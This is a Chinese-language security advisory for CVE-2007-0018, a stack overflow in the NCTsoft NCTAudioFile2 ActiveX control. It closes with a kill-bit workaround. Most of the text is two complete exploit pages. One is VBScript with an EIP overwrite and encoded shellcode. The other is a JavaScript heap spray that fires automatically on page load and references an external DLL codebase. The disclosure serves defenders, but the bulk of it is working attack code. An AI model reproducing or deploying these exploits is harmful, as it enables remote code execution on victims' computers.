安全研究
安全漏洞
NCTsoft NCTAudioFile2 ActiveX控件远程栈溢出漏洞
发布日期:2007-01-24
更新日期:2007-01-29
受影响系统:
NCTsoft NCTAudioFile2 2.6.1.648描述:
NCTsoft NCTAudioFile2 2.5.7.514
BUGTRAQ ID: 22196
CVE(CAN) ID: CVE-2007-0018
NCTAudioFile2是NCTsoft提供的一个ActiveX控件,用于处理音频数据。
NCTAudioFile2 ActiveX控件在处理带有畸形参数的SetFormatLikeSample()方法时存在栈溢出漏洞,远程攻击者可能利用此漏洞控制用户机器。
如果攻击者能够向该方式发送超过4124字节的超长参数时,就可以触发这个溢出,导致执行任意指令。
<*来源:Carsten Eiram
链接:http://secunia.com/secunia_research/2007-2/advisory/
http://www.kb.cert.org/vuls/id/292713
http://secunia.com/advisories/26101/
http://secunia.com/advisories/26100/
http://secunia.com/advisories/26046/
http://secunia.com/advisories/25993/
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<object classid='clsid:77829F14-D911-40FF-A2F0-D11DB8D6D0BC' id='NCTAudioFile2'></object>
<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">
<script language = 'vbscript'>
Sub tryMe
'------------------------------------------------------------------
'[PoC2] IE NCTAudioFile2.AudioFile ActiveX Remote Stack Overfl0w
'original advisory: http://secunia.com/advisories/23475/
'author: shinnai
'mail: shinnai[at]autistici[dot]org
'site: http://shinnai.altervista.org
'based on: http://www.milw0rm.com/exploits/3728
'(see what InTeL said about Win XP Pro SP2 and IE7, enjoy brotha ;)
'modified for working on Win XP Pro SP2 with IE7 full patched
'------------------------------------------------------------------
buff = String (4116, "A")
get_EIP = unescape("%EB%AA%D7%77") '0x77D7AAEB call esp (from user32.dll)
nop = unescape("%90%90%90%90%90%90%90%90%90%90")
shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _
unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _
unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _
unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _
unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _
unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _
unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _
unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _
unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _
unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _
unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _
unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _
unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _
unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _
unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _
unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _
unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _
unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")
egg = buff + get_EIP + nop + shellcode + nop
NCTAudioFile2.SetFormatLikeSample egg
End Sub
</script>
</html>
<html>
<script language="JavaScript" defer>
var sCode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
"%u652E%u6578%u9000");
var sSlide = unescape("%u9090%u9090");
var heapSA = 0x0c0c0c0c;
function tryMe()
{
var buffSize = 5200;
var x = unescape("%0c%0c%0c%0c");
while (x.length<buffSize) x += x;
x = x.substring(0,buffSize);
boom.SetFormatLikeSample (x);
}
function getsSlide(sSlide, sSlideSize)
{
while (sSlide.length*2<sSlideSize)
{
sSlide += sSlide;
}
sSlide = sSlide.substring(0,sSlideSize/2);
return (sSlide);
}
var heapBS = 0x400000;
var sizeHDM = 0x5;
var PLSize = (sCode.length * 2);
var sSlideSize = heapBS - (PLSize + sizeHDM);
var heapBlocks = (heapSA+heapBS)/heapBS;
var memory = new Array();
sSlide = getsSlide(sSlide,sSlideSize);
for (i=0;i<heapBlocks;i++)
{
memory[i] = sSlide + sCode;
}
</script>
<body onload="JavaScript: return tryMe();">
<object id="boom" classid="clsid:77829F14-D911-40FF-A2F0-D11DB8D6D0BC" codebase="http://shinnai.net/AudFile.dll">
Unable to create object
</object>
</body>
</html>
建议:
临时解决方法:
* 在Internet Explorer中禁用NCTAudioFile2 ActiveX控件
为以下CLSID设置kill bit:
{77829F14-D911-40FF-A2F0-D11DB8D6D0BC}
或者将以下文本保存为.REG文件并导入:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{77829F14-D911-40FF-A2F0-D11DB8D6D0BC}]
"Compatibility Flags"=dword:00000400
厂商补丁:
NCTsoft
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://nctsoft.com/products/NCTAudioEditor2/
浏览次数:3809
严重程度:0(网友投票)
绿盟科技给您安全的保障
